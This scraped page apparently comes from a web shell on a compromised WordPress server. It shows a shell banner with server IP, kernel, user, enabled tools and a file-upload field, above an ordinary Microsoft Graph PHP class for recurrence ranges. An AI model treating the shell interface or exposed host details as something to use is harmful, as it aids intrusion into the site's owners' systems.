Warning: chmod(): Operation not permitted in /var/www/hopeinstoughton_www/wp-content/plugins/simple-universal-google-analytics/main.php on line 8 [0] in function chmod in /var/www/hopeinstoughton_www/wp-content/plugins/simple-universal-google-analytics/main.php on line 8 [1] in function include_once in /var/www/hopeinstoughton_www/wp-settings.php on line 560 [2] in function require_once in /var/www/hopeinstoughton_www/wp-config.php on line 85 [3] in function require_once in /var/www/hopeinstoughton_www/wp-load.php on line 50 [4] in function require_once in /var/www/hopeinstoughton_www/wp-blog-header.php on line 13 [5] in function require in /var/www/hopeinstoughton_www/index.php on line 17
| Server IP : 94.177.8.99 / Your IP : 216.73.217.165 Web Server : Apache/2.4.58 (Ubuntu) System : Linux aries 6.8.0-134-generic #134-Ubuntu SMP PREEMPT_DYNAMIC Fri Jun 26 18:43:11 UTC 2026 x86_64 User : www-data ( 33) PHP Version : 8.1.34 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : OFF | Sudo : ON | Pkexec : OFF Directory : /var/www/hopeinstoughton_www/vendor/microsoft/microsoft-graph/src/Model/ |
Upload File : |
<?php
/**
* Copyright (c) Microsoft Corporation. All Rights Reserved. Licensed under the MIT License. See License in the project root for license information.
*
* RecurrenceRange File
* PHP version 7
*
* @category Library
* @package Microsoft.Graph
* @copyright (c) Microsoft Corporation. All rights reserved.
* @license https://opensource.org/licenses/MIT MIT License
* @link https://graph.microsoft.com
*/
namespace Microsoft\Graph\Model;
/**
* RecurrenceRange class
*
* @category Model
* @package Microsoft.Graph
* @copyright (c) Microsoft Corporation. All rights reserved.
* @license https://opensource.org/licenses/MIT MIT License
* @link https://graph.microsoft.com
*/
class RecurrenceRange extends Entity
{
/**
* Gets the endDate
* The date to stop applying the recurrence pattern. Depending on the recurrence pattern of the event, the last occurrence of the meeting may not be this date. Required if type is endDate.
*
* @return \DateTime|null The endDate
*/
public function getEndDate()
{
if (array_key_exists("endDate", $this->_propDict)) {
if (is_a($this->_propDict["endDate"], "\DateTime") || is_null($this->_propDict["endDate"])) {
return $this->_propDict["endDate"];
} else {
$this->_propDict["endDate"] = new \DateTime($this->_propDict["endDate"]);
return $this->_propDict["endDate"];
}
}
return null;
}
/**
* Sets the endDate
* The date to stop applying the recurrence pattern. Depending on the recurrence pattern of the event, the last occurrence of the meeting may not be this date. Required if type is endDate.
*
* @param \DateTime $val The value to assign to the endDate
*
* @return RecurrenceRange The RecurrenceRange
*/
public function setEndDate($val)
{
$this->_propDict["endDate"] = $val;
return $this;
}
/**
* Gets the numberOfOccurrences
* The number of times to repeat the event. Required and must be positive if type is numbered.
*
* @return int|null The numberOfOccurrences
*/
public function getNumberOfOccurrences()
{
if (array_key_exists("numberOfOccurrences", $this->_propDict)) {
return $this->_propDict["numberOfOccurrences"];
} else {
return null;
}
}
/**
* Sets the numberOfOccurrences
* The number of times to repeat the event. Required and must be positive if type is numbered.
*
* @param int $val The value of the numberOfOccurrences
*
* @return RecurrenceRange
*/
public function setNumberOfOccurrences($val)
{
$this->_propDict["numberOfOccurrences"] = $val;
return $this;
}
/**
* Gets the recurrenceTimeZone
* Time zone for the startDate and endDate properties. Optional. If not specified, the time zone of the event is used.
*
* @return string|null The recurrenceTimeZone
*/
public function getRecurrenceTimeZone()
{
if (array_key_exists("recurrenceTimeZone", $this->_propDict)) {
return $this->_propDict["recurrenceTimeZone"];
} else {
return null;
}
}
/**
* Sets the recurrenceTimeZone
* Time zone for the startDate and endDate properties. Optional. If not specified, the time zone of the event is used.
*
* @param string $val The value of the recurrenceTimeZone
*
* @return RecurrenceRange
*/
public function setRecurrenceTimeZone($val)
{
$this->_propDict["recurrenceTimeZone"] = $val;
return $this;
}
/**
* Gets the startDate
* The date to start applying the recurrence pattern. The first occurrence of the meeting may be this date or later, depending on the recurrence pattern of the event. Must be the same value as the start property of the recurring event. Required.
*
* @return \DateTime|null The startDate
*/
public function getStartDate()
{
if (array_key_exists("startDate", $this->_propDict)) {
if (is_a($this->_propDict["startDate"], "\DateTime") || is_null($this->_propDict["startDate"])) {
return $this->_propDict["startDate"];
} else {
$this->_propDict["startDate"] = new \DateTime($this->_propDict["startDate"]);
return $this->_propDict["startDate"];
}
}
return null;
}
/**
* Sets the startDate
* The date to start applying the recurrence pattern. The first occurrence of the meeting may be this date or later, depending on the recurrence pattern of the event. Must be the same value as the start property of the recurring event. Required.
*
* @param \DateTime $val The value to assign to the startDate
*
* @return RecurrenceRange The RecurrenceRange
*/
public function setStartDate($val)
{
$this->_propDict["startDate"] = $val;
return $this;
}
/**
* Gets the type
* The recurrence range. The possible values are: endDate, noEnd, numbered. Required.
*
* @return RecurrenceRangeType|null The type
*/
public function getType()
{
if (array_key_exists("type", $this->_propDict)) {
if (is_a($this->_propDict["type"], "\Microsoft\Graph\Model\RecurrenceRangeType") || is_null($this->_propDict["type"])) {
return $this->_propDict["type"];
} else {
$this->_propDict["type"] = new RecurrenceRangeType($this->_propDict["type"]);
return $this->_propDict["type"];
}
}
return null;
}
/**
* Sets the type
* The recurrence range. The possible values are: endDate, noEnd, numbered. Required.
*
* @param RecurrenceRangeType $val The value to assign to the type
*
* @return RecurrenceRange The RecurrenceRange
*/
public function setType($val)
{
$this->_propDict["type"] = $val;
return $this;
}
}